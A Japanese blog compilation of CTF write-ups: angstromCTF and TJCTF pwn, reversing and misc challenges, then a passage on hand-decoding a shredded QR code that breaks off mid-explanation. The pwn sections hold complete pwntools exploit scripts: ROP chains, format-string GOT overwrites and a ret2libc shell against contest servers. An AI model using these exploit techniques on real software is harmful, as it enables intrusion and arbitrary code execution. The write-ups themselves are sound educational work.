	if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
		printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
		system("/bin/cat flag.txt");
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

void getInfo () {
	printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
	char name [32];
	printf("--== ROPE CHAIN BLACK MARKET ==--\n");
	printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
	printf("What would you like to do?\n");
	printf("1 - Set name\n");
	printf("2 - Get user info\n");
	printf("3 - Grant access\n");
	int choice;
	scanf("%d\n", &choice);
	if (choice == 1) {
		gets(name);
	} else if (choice == 2) {
		getInfo();
	} else if (choice == 3) {
		printf("lmao no\n");
	} else {
		printf("I don't know what you're saying so get out of my black market\n");
	}
	return 0;
}

またもやgetsがあるのでoverflowの脆弱性。flag関数の引数チェックを通るには、authorize()でグローバル変数userTokenをセットしたあとaddBalance(0xdeadbeef)を呼んでグローバル変数balanceをセットしたあとflag(0xba5eba11, 0xbeddab1e)を呼べば良い。

64bitバイナリなので引数はレジスタにセットする。rpでそのガジェットを検索してエクスプロイトコードを書く。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='****')
conn.set_working_directory('/problems/2019/chain_of_rope')
pro = conn.process('./chain_of_rope')

flag_func = 0x4011eb
auth_func = 0x401196
addb_func = 0x4011ab

pop_rsi_r15 = 0x401401
pop_rdi = 0x401403
buf_size = 0x30

payload = "1"
payload += "A"*buf_size
payload += "A"*8
payload += p64(auth_func)
payload += p64(pop_rdi)
payload += p64(0xdeadbeef)
payload += p64(addb_func)
payload += p64(pop_rsi_r15)
payload += p64(0xbedabb1e)
payload += "A"*8
payload += p64(pop_rdi)
payload += p64(0xba5eba11)
payload += p64(flag_func)


pro.recvuntil("access\n")
pro.sendline(payload)

pro.interactive()

FLAG:actf{dark_web_bargains}

この問題、問題文のバイナリと実際に動いているバイナリが少し違って、関数のアドレスだったりgetsの引数バッファの位置が違ってかなり困惑した。
今見たらまた変わってた。

Purchases(120pt)

cのコードついている。おそらくこのctf全部cソースがある。嬉しいね。

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ file purchases
purchases: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=81d703c9e71c8e60af8bdd4515f6bada05bcbcf8, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ checksec.sh --file ./purchases
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./purchases
//purchases.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[60];
	printf("What item would you like to purchase? ");
	fgets(item, sizeof(item), stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("You don't have any money to buy ");
		printf(item);
		printf("s. You're wasting your time! We don't even sell ");
		printf(item);
		printf("s. Leave this place and buy ");
		printf(item);
		printf(" somewhere else. ");
	}

	printf("Get out!\n");
	return 0;
}

printfのfsbがある。3つも。そんなにいらないが。
注意すべきはfgetsのあと最後の文字をnull文字にしていること。これに気がつかず、かなり時間をとった。
mainの最後のprintfはコンパイルするとputsになっていたので、puts@gotをflag関数に書き換える。
第8引数からがitem変数の先頭をさしていた。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='****')
conn.set_working_directory('/problems/2019/purchases')
pro = conn.process('./purchases')

puts_got= 0x404018
flag_func = 0x4011b6

target_off = 0x20
first = flag_func >> 16
second = (flag_func & 0xffff) - first

payload = "%" + str(8+target_off/8) +"$n"
payload += "%" + str(first) + "x"
payload += "%" + str(8+target_off/8+1) + "$hn"
payload += "%" + str(second) + "x"
payload += "%" + str(8+target_off/8+2) + "$hn"
payload += "A" * (target_off - len(payload))
payload += p64(0xff404018+4) #0xff will be replaced in 0x00
payload += p64(puts_got+2)
payload += p64(puts_got)

pro.recvuntil("purchase? ")
pro.sendline(payload)

pro.interactive()

FLAG:actf{limited_edition_flag}

Returns(160pt)

この問題ではバイナリ、cソースコードに加えて、libcも配られた。まあサーバー上のlibcのバージョンのものであろう。

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ file returns
returns: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=64f74f862ba5864cb66351be406d4f1d1d07a3b6, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ checksec.sh --file ./returns
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./returns
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[50];
	printf("What item would you like to return? ");
	fgets(item, 50, stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("We didn't sell you a ");
		printf(item);
		printf(". You're trying to scam us! We don't even sell ");
		printf(item);
		printf("s. Leave this place and take your ");
		printf(item);
		printf(" with you. ");
	}

	printf("Get out!\n");
	return 0;
}

上のpurchaseの問題とかなり類似している。異なる点はitemの長さが短くなったことやflag関数がなくなった点がある。同じくprintfのfsbが存在し、mainの最後のprintfはputsでコンパイルされている。
流れとしてはputs@gotをmain関数に書き換え、main関数がループするようにする。その後どこか適当なgot領域をprintfで読み出し、libcのbaseを計算し、strlen@gotをsystemに書き換え、fgetsで"/bin/sh"を入力し、strlenに渡す。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='***')
conn.set_working_directory('/problems/2019/returns')
pro = conn.process('./returns')

main_addr = 0x4011a6
strlen_got = 0x404020
puts_got = 0x404018

#in libc
system_offset = 0x45390
puts_offset = 0x6f690
strlen_offset = 0x8b720

buf_off = 32

payload = "%" + str(0x40) + "x"
payload += "%" + str(8+buf_off/8) + "$hn"
payload += "%" + str(0x11a6-0x40) + "x"
payload += "%" + str(8+buf_off/8+1) + "$hn"
payload += "A" * (buf_off - len(payload))
payload += p64(0xff404018+0x2) #0xff will be replaced to 0x00
payload += p64(puts_got)

pro.recvuntil("return? ")
pro.sendline(payload)

payload = "%" + str(8+buf_off/8) + "$s"
payload += "A" * (buf_off -len(payload))
payload += p64(0xff404020) #0xff will be replaced to 0x00
 
pro.recvuntil("return? ")
pro.sendline(payload)

pro.recvuntil("you a ")
strlen_libc =  pro.recvuntil("A")
strlen_libc = strlen_libc[0:len(strlen_libc)-1]
strlen_libc += "\x00"*(8-len(strlen_libc))
strlen_libc = u64(strlen_libc)

system_libc = strlen_libc - strlen_offset + system_offset


first = system_libc & 0xffff
second = (system_libc >> 16) & 0xffff
second = second + 0x10000 - first 

payload = "%" + str(first) + "x"
payload += "%" + str(8+buf_off/8) + "$hn"
payload += "%" + str(second) + "x"
payload += "%" + str(8+buf_off/8+1) + "$hn"
payload += "A" * (buf_off - len(payload))
payload += p64(0xff404020) #0xff will be replaced to 0x00
payload += p64(strlen_got+2)

pro.recvuntil("return? ")
pro.sendline(payload)

pro.recvuntil("return? ")
print "strlen :" + hex(strlen_libc)
print "system : " + hex(system_libc)
print "first : " + hex(first)
print "second : " + hex(second)

pro.interactive()

interactiveモードになったら/bin/shなりcat flag.txtなり入力する

FLAG:actf{no_returns_allowed}

misc

Blank Paper(30pt)

壊れたpdfが配られるので、バイナリエディタで開くと最初の4バイトがnullになっているので、asciiで"%PDF"に書き換えてあげる。
FLAG:actf{knot_very_interesting}

Paper Bin(40pt)

.datファイルが配布される。binwalkでみると色々pdfやらが入ってそう
foremostに投げるといくつかpdfを取り出してくれてそのうちの一つ00011880.pdfにflagが
FLAG:actf{proof_by_triviality}

Just Letters(60pt)

問題文の中にリンクとサーバー
https://esolangs.org/wiki/AlphaBeta
サーバーにつなぐとこんな感じ

$ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> 

メモリを読み出せば良いらしく、リンク先のHello World!の例文をみると、register 3にセットしたものを出力できるらしいので、メモリから1文字ずつregister 1にセットしそれをregister 3にコピーしoutputを繰り返す。一つのループは"GCLS"で出来るのでこれを適当に繰り返す。

brainfuckの一種か

FLAG:actf{esolangs_sure_are_fun!}

まとめ

楽しかた
お疲れした
何かあればコメントください

TJCTF writeup

久しぶりの更新、生きています。

TJCTFで僕が解いた問題のwriteupを書きます

TJCTFリンクhttps://tjctf.org/

Python in One Line (rev 10pt)

問題文
It's not code golf but it's something...

one.py This is printed when you input the flag: .. - / .. ... -. - / -- --- .-. ... / -.-. --- -.. .


ソースコードが配られる

# one.py
print(' '.join([{'a':'...-', 'b':'--..', 'c':'/', 'd':'-.--', 'e':'.-.', 'f':'...', 'g':'.-..', 'h':'--', 'i':'---', 'j':'-', 'k':'-..-', 'l':'-..', 'm':'..', 'n':'.--', 'o':'-.-.', 'p':'--.-', 'q':'-.-', 'r':'.-', 's':'-...', 't':'..', 'u':'....', 'v':'--.', 'w':'.---', 'y':'..-.', 'x':'..-', 'z':'.--.', '{':'-.', '}':'.'}[i] for i in input('What do you want to secrify? ')]))

アルファベットと符号化された対応がわかるので、デコードする。

Checker (rev 30pt)

問題文

Found a flag checker program that looked pretty sketchy. Take a look at it.

file

配られるのはjavaファイル

import java.util.*;
public class Checker{
    public static String wow(String b, int s){
        String r = "";
        for(int x=s; x<b.length()+s; x++){
            r+=b.charAt(x%b.length());
        }
        return r;
    }
	
    public static String woah(String b){
        String r = "";
        for(int x=0; x<b.length(); x++){
            if(b.charAt(x)=='0')
                r+='1';
            else
                r+='0';
        }
        return r;
    }
    public static String encode(String plain){
        String b = "";
        Stack<Integer> t = new Stack<Integer>();
        for(int x=0; x<plain.length(); x++){
            int i = (int)plain.charAt(x);
            t.push(i);
        }
        for(int x=0; x<plain.length(); x++){
            b+=Integer.toBinaryString(t.pop());
        }
        b = woah(b);
	 = wow(b,9);
        System.out.println(b);
        return b;
    }

    public static boolean check(String flag, String encoded){
        if(encode(flag).equals(encoded))
            return true;
        return false;
    }
    public static void main(String[] args){
        String flag = "redacted";
        String encoded = "1100001110000111000011000010100001110000111000010100001110000010000110010001011001110000101010001011000001000";
        System.out.println(check(flag,encoded));
    }
}

エンコード方法は文字列をasciiに変換しスタックにpush。その後スタックからpopし2進数の文字列に変換("AB"だったら0x41,0x42なので10000011000010)。その後0と1を反転させ、9個左にローテーションさせる。
デコードはその逆順を辿ればいいのだが、アルファベットをエンコードすると1文字あたり長さが7になるのだが、数字などをエンコードすると長さが6になるので('1' -> 0x31 -> 110001)、どこで区切ればいいかわからんってなったので、フォーマットがtjctf{***}であることはわかっているので、それっぽいleet表現の文字列に直した。これ全探索以外に綺麗にコードでかけないよな。

FLAG: tjctf{qu1cks1c3}

Broken Parrot (rev 40pt)

問題文
I found this annoying parrot. I wish I could just ignore it, but I've heard that it knows something special.

バイナリファイルがもらえる。

$file parrot
parrot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=ff7e4f0e71b221eb66d9be600b39895862fd9bdd, not stripped

32bit 動的リンク not stripped

$strings parrot | grep tjctf
tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}

しかしこれはダミー。gdbで開く。

$gdb ./parrot
gdb-peda$ pdisas main
Dump of assembler code for function main:
...
...
   0x0804852e <+99>:	mov    DWORD PTR [ebp-0x50],0x1
   0x08048535 <+106>:	mov    DWORD PTR [ebp-0x4c],0x0
   0x0804853c <+113>:	cmp    DWORD PTR [ebp-0x4c],0x5
   0x08048540 <+117>:	jg     0x8048569 <main+158>
   0x08048542 <+119>:	lea    edx,[ebp-0x3f]
   0x08048545 <+122>:	mov    eax,DWORD PTR [ebp-0x4c]
   0x08048548 <+125>:	add    eax,edx
   0x0804854a <+127>:	movzx  edx,BYTE PTR [eax]
   0x0804854d <+130>:	mov    eax,DWORD PTR [ebp-0x4c]
   0x08048550 <+133>:	add    eax,0x804a040
   0x08048555 <+138>:	movzx  eax,BYTE PTR [eax]
   0x08048558 <+141>:	cmp    dl,al
   0x0804855a <+143>:	je     0x8048563 <main+152>
   0x0804855c <+145>:	mov    DWORD PTR [ebp-0x50],0x0
   0x08048563 <+152>:	add    DWORD PTR [ebp-0x4c],0x1
   0x08048567 <+156>:	jmp    0x804853c <main+113>
   0x08048569 <+158>:	mov    DWORD PTR [ebp-0x48],0x0
   0x08048570 <+165>:	cmp    DWORD PTR [ebp-0x48],0x2
   0x08048574 <+169>:	jg     0x804859f <main+212>
   0x08048576 <+171>:	mov    eax,DWORD PTR [ebp-0x48]
   0x08048579 <+174>:	add    eax,0x6
   0x0804857c <+177>:	movzx  edx,BYTE PTR [ebp+eax*1-0x3f]
   0x08048581 <+182>:	mov    eax,DWORD PTR [ebp-0x48]
   0x08048584 <+185>:	add    eax,0xe
   0x08048587 <+188>:	movzx  eax,BYTE PTR [eax+0x804a040]
   0x0804858e <+195>:	cmp    dl,al
   0x08048590 <+197>:	je     0x8048599 <main+206>
   0x08048592 <+199>:	mov    DWORD PTR [ebp-0x50],0x0
   0x08048599 <+206>:	add    DWORD PTR [ebp-0x48],0x1
   0x0804859d <+210>:	jmp    0x8048570 <main+165>
   0x0804859f <+212>:	mov    DWORD PTR [ebp-0x44],0x0
   0x080485a6 <+219>:	cmp    DWORD PTR [ebp-0x44],0x16
   0x080485aa <+223>:	jg     0x80485d5 <main+266>
   0x080485ac <+225>:	mov    eax,DWORD PTR [ebp-0x44]
   0x080485af <+228>:	add    eax,0xa
   0x080485b2 <+231>:	movzx  edx,BYTE PTR [ebp+eax*1-0x3f]
   0x080485b7 <+236>:	mov    eax,DWORD PTR [ebp-0x44]
   0x080485ba <+239>:	add    eax,0x1b
   0x080485bd <+242>:	movzx  eax,BYTE PTR [eax+0x804a040]
   0x080485c4 <+249>:	cmp    dl,al
   0x080485c6 <+251>:	je     0x80485cf <main+260>
   0x080485c8 <+253>:	mov    DWORD PTR [ebp-0x50],0x0
   0x080485cf <+260>:	add    DWORD PTR [ebp-0x44],0x1
   0x080485d3 <+264>:	jmp    0x80485a6 <main+219>
   0x080485d5 <+266>:	movzx  eax,BYTE PTR [ebp-0x36]
   0x080485d9 <+270>:	cmp    al,0x64
   0x080485db <+272>:	je     0x80485e4 <main+281>
   0x080485dd <+274>:	mov    DWORD PTR [ebp-0x50],0x0
   0x080485e4 <+281>:	cmp    DWORD PTR [ebp-0x50],0x0
   0x080485e8 <+285>:	je     0x80485ff <main+308>
...
...
End of assembler dump.

main+99~main+156でinputの最初の6文字を比較している。比較するのはダミーが入っている0x804a040の中身。
main+158~main+210でinputの次の3文字と0x804a040+0xeからの3文字を比較している。
main+212~main+264でinputの11文字目から23文字と0x804a040+0x1bからを比較している。
main+266~main+270でinputの10文字目が0x64('D')であるかどうか比較している。

FLAG: tjctf{3d_D0n7_y0u_l34v3_m3_4l0n3}

don't you leave me alone ... 悲C

Invalidator (rev 70pt)

問題文
Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!

$file invalidator
invalidator: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3583ac8cbf9f4a9128376ebaa5775ff78f9b08ba, not stripped

$strings invalidator
...
...
tjct
f{0h
_my_
4_51
mpl3
70n_
4_r3
d_h3
rr1n
6_f0
r_7h
UWVS
t$,U
...
...


しかしこれもダミー。これにxorするとかでもなくまじで関係ないやつだった。
gdbで見るとプログラムの第一引数と何かを比較する感じ。肝心なのは自作関数strcmp。

gdb-peda$ pdisas strcmp

Dump of assembler code for function strcmp:
   0x080484ab <+0>:	push   ebp
   0x080484ac <+1>:	mov    ebp,esp
   0x080484ae <+3>:	sub    esp,0x10
=> 0x080484b1 <+6>:	mov    DWORD PTR [ebp-0x4],0x0
   0x080484b8 <+13>:	jmp    0x80484cd <strcmp+34>
   0x080484ba <+15>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484bd <+18>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484c0 <+21>:	add    eax,edx
   0x080484c2 <+23>:	movzx  eax,BYTE PTR [eax]
   0x080484c5 <+26>:	test   al,al
   0x080484c7 <+28>:	je     0x8048512 <strcmp+103>
   0x080484c9 <+30>:	add    DWORD PTR [ebp-0x4],0x1
   0x080484cd <+34>:	mov    eax,DWORD PTR [ebp-0x4]
   0x080484d0 <+37>:	shl    eax,0x2
   0x080484d3 <+40>:	add    eax,0x2
   0x080484d6 <+43>:	mov    eax,DWORD PTR [eax*4+0x804a040]
   0x080484dd <+50>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080484e0 <+53>:	mov    edx,DWORD PTR [ebp+0xc]
   0x080484e3 <+56>:	add    edx,ecx
   0x080484e5 <+58>:	movzx  edx,BYTE PTR [edx]
   0x080484e8 <+61>:	movsx  ecx,dl
   0x080484eb <+64>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484ee <+67>:	shl    edx,0x2
   0x080484f1 <+70>:	mov    edx,DWORD PTR [edx*4+0x804a040]
   0x080484f8 <+77>:	xor    ecx,edx
   0x080484fa <+79>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484fd <+82>:	add    edx,0x40
   0x08048500 <+85>:	shl    edx,0x2
   0x08048503 <+88>:	mov    edx,DWORD PTR [edx*4+0x804a040]
   0x0804850a <+95>:	xor    edx,ecx
   0x0804850c <+97>:	cmp    eax,edx
   0x0804850e <+99>:	je     0x80484ba <strcmp+15>
   0x08048510 <+101>:	jmp    0x8048513 <strcmp+104>
   0x08048512 <+103>:	nop
   0x08048513 <+104>:	cmp    DWORD PTR [ebp-0x4],0x28
   0x08048517 <+108>:	sete   al
   0x0804851a <+111>:	movzx  eax,al
   0x0804851d <+114>:	leave  
   0x0804851e <+115>:	ret 

どうやら0x804a040からのデータと比較している。
これもgdbで見てみよう。

gdb-peda$ x/20x 0x804a040
0x804a040 <r>:	0x0000004d	0x00000071	0x00000059	0x000000a1
0x804a050 <r+16>:	0x000000bb	0x00000040	0x000000f9	0x0000000e
0x804a060 <r+32>:	0x0000004b	0x00000085	0x000000a8	0x0000003a
0x804a070 <r+48>:	0x000000ca	0x00000052	0x0000009c	0x00000082
0x804a080 <r+64>:	0x00000014	0x0000008a	0x000000ca	0x00000077

明らかに人の手で作り込んだようなデータがある。しかもrというシンボル名が付いている。

$readelf -s ./invalidator
...
...
52: 0804a040  2048 OBJECT  GLOBAL DEFAULT   25 r
...
...

 $hexdump -C ./invalidator | grep 4d

000004d0  c1 e0 02 83 c0 02 8b 04  85 40 a0 04 08 8b 4d fc  |.........@....M.|
00000540  4d f4 31 c9 83 38 01 7f  20 8b 45 b4 8b 00 83 ec  |M.1..8.. .E.....|
00000610  ff 8b 4d fc c9 8d 61 fc  c3 66 90 66 90 66 90 90  |..M...a..f.f.f..|
000007b0  69 0e 24 44 0e 28 44 0e  2c 41 0e 30 4d 0e 20 47  |i.$D.(D.,A.0M. G|
00001040  4d 00 00 00 71 00 00 00  59 00 00 00 a1 00 00 00  |M...q...Y.......|
000014d0  33 00 00 00 14 00 00 00  6f 00 00 00 55 00 00 00  |3.......o...U...|
00001680  a2 00 00 00 9d 00 00 00  0d 00 00 00 4d 00 00 00  |............M...|
00001710  c2 00 00 00 7f 00 00 00  4d 00 00 00 19 00 00 00  |........M.......|
00001dc0  4d 45 5f 45 4e 44 5f 5f  00 5f 5f 4a 43 52 5f 45  |ME_END__.__JCR_E|
00001de0  79 5f 65 6e 64 00 5f 44  59 4e 41 4d 49 43 00 5f  |y_end._DYNAMIC._|
00001e00  74 00 5f 5f 47 4e 55 5f  45 48 5f 46 52 41 4d 45  |t.__GNU_EH_FRAME|
00001e30  63 5f 63 73 75 5f 66 69  6e 69 00 5f 49 54 4d 5f  |c_csu_fini._ITM_|
00001e40  64 65 72 65 67 69 73 74  65 72 54 4d 43 6c 6f 6e  |deregisterTMClon|
00001f40  73 73 65 73 00 5f 5f 54  4d 43 5f 45 4e 44 5f 5f  |sses.__TMC_END__|
00001f50  00 5f 49 54 4d 5f 72 65  67 69 73 74 65 72 54 4d  |._ITM_registerTM|
000024d0  00 00 00 00 01 00 00 00  01 00 00 00 11 00 00 00  |................|

readelfでサイズが2048、hexdumpで最初の4dを調べて見ると0x1040からrがあることがわかる。(他になんか便利なコマンドあったはずだが忘れた)

solve.cではrは実際には4バイトずつにしか値が入ってないので長さ512の配列を用意して、バイナリファイルから直に読み込んだ。デコードする操作はアセンブリをみて理解する。

//solve.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
	char r[512];
	int fd;
	fd = open("./invalidator", O_RDONLY);
	if(fd < 0){
		printf("error");
		exit(0);
	}

	int i;
	for(i = 0; i < 512; i++){
		lseek(fd, 0x1040+i*4, SEEK_SET);
		read(fd, &(r[i]), 1);
	}
	char flag;
	for(i = 0; i < 0x29; i++){
		flag = r[i*4+2] ^ r[i*4] ^ r[(i+0x40)*4];
		printf("%c", flag);
	}
	printf("\n");
	return 0;
}

FLAG: tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}

Silly Sledshop (pwn 80pt)

問題文
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.

Lesson: nothing stops Omkar.

He will go sledding whenever and wherever he wants.

nc p1.tjctf.org 8010


ご丁寧にcのソースまである。

#include <stdio.h>
#include <stdlib.h>

void shop_setup() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void shop_list() {
    printf("The following products are available:\n");
    printf("|  Saucer  | $1 |\n");
    printf("| Kicksled | $2 |\n");
    printf("| Airboard | $3 |\n");
    printf("| Toboggan | $4 |\n");
}

void shop_order() {
    int canary = 0;
    char product_name[64];

    printf("Which product would you like?\n");
    gets(product_name);

    if (canary)
        printf("Sorry, we are closed.\n");
    else      
        printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}

int main(int argc, char **argv) {
    shop_setup();
    shop_list();
    shop_order();
    return 0;
}

shop_orderのgetsでoverflowが起こせる。自作canaryは0にすることもできるが、上書きしてしまっても今回は問題ない。
まずはrpでpop,retのガジェットを検索して、putsを利用し、puts@gotとgets@gotの中身をリークし、サーバーのlibcを特定する。

# leek.py

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'
		
HOST = "p1.tjctf.org"
PORT = 8010
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./sledshop')

puts_plt = 0x80483f0
gets_got = 0x804a014
puts_got = 0x804a01c
pop_edx_ret = 0x08048395

payload = "A"*0x50
payload += p32(puts_plt)
payload += p32(pop_edx_ret)
payload += p32(gets_got)
payload += p32(puts_plt)
payload += "AAAA"
payload += p32(puts_got)


conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")
libc_gets = conn.recvline()
libc_puts = conn.recvline()
print "libc_gets = " + hex(u32(libc_gets[0:4]))
print "libc_puts = " + hex(u32(libc_puts[0:4]))

conn.interactive()

getsとputsのアドレスがわかったら、
https://libc.blukat.me/
に入力してlibcを特定、/bin/shとsystemのオフセットも特定。このサイトマジで便利だな。

あとはASLRを回避するためにputsのアドレスをリークしつつ、もう一度shop_order関数に戻り、もう一度getsに対してoverflowを仕掛ける。

#solver.py

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

				
HOST = "p1.tjctf.org"
PORT = 8010
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./sledshop')
#in libc
system_offset = 0x3a940
binsh_offset = 0x15902b
puts_offset = 0x5f140

puts_plt = 0x80483f0
puts_got   = 0x804a01c
pop_edx_ret = 0x08048395

shop_order = 0x80485bc

payload = "A"*0x50
payload += p32(puts_plt)
payload += p32(shop_order)
payload += p32(puts_got)

conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")
libc_puts = conn.recvline()

libc_puts = u32(libc_puts[0:4])
print "libc_puts = " + hex(libc_puts)

libc_base = libc_puts - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print "system_addr = " + hex(system_addr)
print "binsh_addr = " + hex(binsh_addr)
payload = "A"*0x50
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
 
conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")

conn.interactive()

FLAG: tjctf{5l3dd1n6_0mk4r_15_h4ppy_0mk4r}

総括

この間、人の書いたwriteupをみてlibcを特定するサイトを知ったのだが、早速使える場面が来て、嬉しい。最近rev,pwn担当として、非力ながらチームに参加させてもらったので、頑張っていきたい。

てかCTF楽しい。早く研究室とか就活とか終わらせて、卒業したい。社会人になったらやる元気あるのかな。

今後もよろしくお願いしますわ。

気合いで読むQRコード入門

この記事はKCS Advent Calendar 16日目の記事です。

概要

以前参加したSquareCTFでQRコードに関する問題が出たのでその解説をしていこうと思います。この問題に取り組むとQRコードの仕組みが大枠理解でき、カメラがなくてもQRコードを読めるようになります!(ホンマか!?)
別にCTFに参加したことがなくても聞いたことがなくても解けるレベルの問題なので興味のある方は記事を読む前に挑戦してみると面白いかもしれません。あと入門と書いてありますが続きはないです。

挑戦する方向けに、CTFでは回答さえ合っていれば良く、そのプロセスは問われないのでどう解いても構いません。QRの仕様についてはググったりしてもらっても全然大丈夫です。うまく復元できると、とある文字列が手に入るはずです(この大会では"FLAG"という文字列が含まれることがわかっています)。

問題のリンク

SquareCTF2018 C3 shredded
squarectf.com

解説

配布されたファイルを解凍すると27個の細長い画像ファイルが手に入ります。これが問題のタイトルからもわかるように、縦に分割されたQRコードです。

f:id:kam1tsur3:20181127132921p:plain      f:id:kam1tsur3:20181127132933p:plain      f:id:kam1tsur3:20181127132943p:plain

↑こんなのが27枚

なんとなーくこれらをつなぎ合わせればQRコードになりそうなのが推測できますね!(?)

復元するに当たってQRコードの仕組みを大枠知っておく必要がありそうです。僕は以下のサイトを参考にしました。
(1)http://eleclog.quitsq.com/2014/01/seccon-ctf-2013-online-forensics-400.html
(2)http://www.swetake.com/qrcode/qr1.html
(3)http://nlab.itmedia.co.jp/nl/articles/1801/31/news008.html

QRコードにも色々種類があるらしい。まずバージョンですが、配布された画像を何枚か観察すると、縦は21マスであることから今回はバージョン1のようです。そうなると27枚の画像のうちの真っ白の6枚は画像の両端になることがわかります。このようにまずは位置が確定できるものを探しましょう。バージョン1の場合は以下の画像の位置は固定なようです。

f:id:kam1tsur3:20181125191311p:plain

(画像は(2)のリンクより)

また上の画像の水色の部分に誤り訂正レベルやマスクパターンの情報が入るようです。これらは二箇所に同じ情報が同じ順番に15マスに渡って格納されます。以下の画像は今回の問題とは少し違うフォーマットですが、水色の部分の構造は同じです。

f:id:kam1tsur3:20181125194145p:plain

(画像は(3)のリンクより)

これらの情報を元に画像を埋めて行くと1,2,5,6,7,8,9,14,15,21列目が確定します。1列目や7列目は比較的確定するのが簡単ですが、5,9,15,21列目などは2対の15マスの形式情報が一致することを利用して絞っていきます。残りの画像のそれぞれの行の特徴から組み合わせを推測すると、3,4行目が2つ、16,20行目が2つ、17,18,19行目が3つ、10~13列目は7行目が白黒交互になることから、10,12行目で、11,13行目でそれぞれ2つとなりました。この時点で2x2x2x2x3!の96通りまで絞ることができました。

f:id:kam1tsur3:20181125233409p:plain

QRのルールを用いて絞って行くのはここまでが限界です(多分)。なのでここからは生のQRコードを読んで行きましょう笑。

QRコードの読み方は右下から2列に渡ってジグザグに読んで行きます。言葉だと伝わりにくいので、図を見てもらいましょう。

f:id:kam1tsur3:20181125235203p:plain

(画像は(3)のリンクより)

20列目になりうる画像は2つに絞れているので確定している21列目と合わせて見ましょう。

①          ②
f:id:kam1tsur3:20181127114323p:plain         f:id:kam1tsur3:20181127114336p:plain

しかしQRコードはこのままだと読むことができません。先ほどのリンクを読んでいただければわかるのですが、QRコードにはマスクがかかっています。そのマスクを解かなければいくら気合いがあっても読むことができません。しかもマスクにも何種類かあるらしい。。。

f:id:kam1tsur3:20181127115401p:plain

(画像は(1)のリンクより)

今回はラッキーなことに先程までの手順で絞れている画像からマスクパターンがわかります。この問題では(i+j)%3=0のところにマスクがかけられているようです。この式は一番左上の座標を(0,0)、右下を(20,20)とした時のi行目、j列目の座標(i,j)についての式です。上だと21列目と書いていたところは(i,21)ではなく(i,20)となることに注意してください。例えば(19,20)の座標は(19+20)%3=0を満たすので、1(黒)でxorします。

さてゴリゴリ読んで行きましょう。

①の画像は000001010100100010100100で②の画像は010000010100110011110000なのがわかります。これに先ほどのマスクをかけます。20,21行目にかけるマスクは011000011000011000011000であるので、

①
    000001010100100010100100
xor 011000011000011000011000 <-mask
-------------------------------------
